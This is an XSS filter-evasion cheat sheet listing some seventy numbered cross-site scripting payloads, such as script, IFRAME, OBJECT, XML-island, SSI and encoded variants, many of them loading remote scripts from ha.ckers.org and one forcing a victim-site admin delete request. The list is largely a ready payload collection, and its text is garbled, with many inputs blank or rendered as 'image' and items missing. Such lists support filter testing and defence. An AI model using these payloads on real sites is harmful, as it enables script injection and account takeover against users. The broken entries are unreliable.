1. XSS Locator Input code » ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//-->">'> Output code » ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> 2. XSS Quick Test Input code » '';!--"=&{()} Output code » '';!--"<XSS>=&{()} 3. SCRIPT w/Alert() Input code » Output code » <SCRIPT>alert('XSS')</SCRIPT> 4. SCRIPT w/Source File Input code » Output code » <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> 5. SCRIPT w/Char Code Input code » Output code » <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> 6. DIV background-image 1 Input code »
Output code »
7. DIV background-image 2 Input code »
Output code »
8. DIV expression Input code »
Output code »
9. IFRAME Input code » Output code » <IFRAME SRC="javascript:alert('XSS');"></IFRAME> 10. INPUT Image Input code » Output code » 11. IMG w/JavaScript Directive Input code » Output code » image 12. IMG No Quotes/Semicolon Input code » Output code » image 13. IMG Dynsrc Input code » Output code » image 14. IMG Lowsrc Input code » Output code » image 15. IMG Embedded commands 1 Input code » Output code » image 16. IMG Embedded commands 2 Input code » Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser Output code » Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser 17. IMG STYLE w/expression Input code » exp/* Output code » exp/*<XSS STYLE='no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))'> 18. IMG w/VBscript Input code » Output code » image 19. LAYER Input code » Output code » <LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER> 20. Livescript Input code » Output code » image 21. US-ASCII encoding Input code » %BCscript%BEalert(%A2XSS%A2)%BC/script%BE Output code » %BCscript%BEalert(%A2XSS%A2)%BC/script%BE 22. Mocha Input code » Output code » image 23. OBJECT Input code » Output code » <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> 24. OBJECT w/Embedded XSS Input code » Output code » <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name="url" value="javascript:alert(" /></OBJECT> 25. Embed Flash Input code » Output code » <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED> 26. OBJECT w/Flash 2 Input code » a="get"; b="URL(""; c="javascript:"; d="alert('XSS');")"; eval(a+b+c+d); Output code » a="get"; b="URL(""; c="javascript:"; d="alert('XSS');")"; eval(a+b+c+d); 27. STYLE Input code » Output code » <STYLE TYPE="text/javascript">alert('XSS');</STYLE> 28. STYLE w/Comment Input code » Output code » image 29. STYLE w/Anonymous HTML Input code » Output code » <XSS STYLE="xss:expression(alert('XSS'))"> 30. TABLE Input code »
Output code »
31. TD Input code »
Output code » <td></td>
32. XML namespace Input code » XSS Output code » <HTML xmlns:xss> <?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"> <xss:xss>XSS</xss:xss> </HTML> 33. XML data island w/CDATA Input code » ]]> Output code » <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> </C></X></xml> 34. XML data island w/comment Input code » Output code » <XML ID="xss">imagecript:alert('XSS')"></XML> 35. XML (locally hosted) Input code » Output code » <XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML> 36. XML HTML+TIME Input code » Output code » <HTML><BODY> <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> <?import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML> 37. Commented-out Block Input code » Output code » <!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]--> 38. Rename .js to .jpg Input code » Output code » <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> 39. SSI Input code » Output code » <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"--> 40. PHP Input code » alert("XSS")'); ?> Output code » <? echo('<SCR)'; echo('IPT>alert("XSS")</SCRIPT>'); ?> 41. JavaScript Includes Input code »
Output code »
42. Case Insensitive Input code » Output code » image 43. HTML Entities Input code » Output code » image 44. Grave Accents Input code » Output code » image 45. Image w/CharCode Input code » Output code » image 46. UTF-8 Unicode Encoding Input code » Output code » image 47. Long UTF-8 Unicode w/out Semicolons Input code » Output code » image 48. DIV w/Unicode Input code »
Output code »
49. Hex Encoding w/out Semicolons Input code » Output code » image 50. Embedded Tab Input code » Output code » image 51. Embedded Encoded Tab Input code » Output code » image 52. Embedded Newline Input code » Output code » image 53. Embedded Carriage Return Input code » Output code » image 54. Multiline w/Carriage Returns Input code » Output code » image 55. Spaces/Meta Chars Input code » Output code » image 56. Non-Alpha/Non-Digit Input code » Output code » <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> 57. Non-Alpha/Non-Digit Part 2 Input code » Output code » <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> 58. No Closing Script Tag Input code » Output code » <<SCRIPT>alert("XSS");//<</SCRIPT> 63. Malformed IMG Tags Input code » "> Output code » image<SCRIPT>alert("XSS")</SCRIPT>"> 64. No Quotes/Semicolons Input code » Output code » <SCRIPT>a=/XSS/ alert(a.source)</SCRIPT> 65. Evade Regex Filter 1 Input code » Output code » <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> 66. Evade Regex Filter 2 Input code » Output code » <SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT> 67. Evade Regex Filter 3 Input code » Output code » <SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> 68. Evade Regex Filter 4 Input code » Output code » <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> 69. Evade Regex Filter 5 Input code » Output code » <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> 70. Filter Evasion 1 Input code » PT SRC="http://ha.ckers.org/xss.js"> Output code » <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> 71. Filter Evasion 2 Input code » Output code » <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> 72. Mixed Encoding Input code » XSS Output code » XSS 73. JavaScript Link Location Input code » XSS Output code » XSS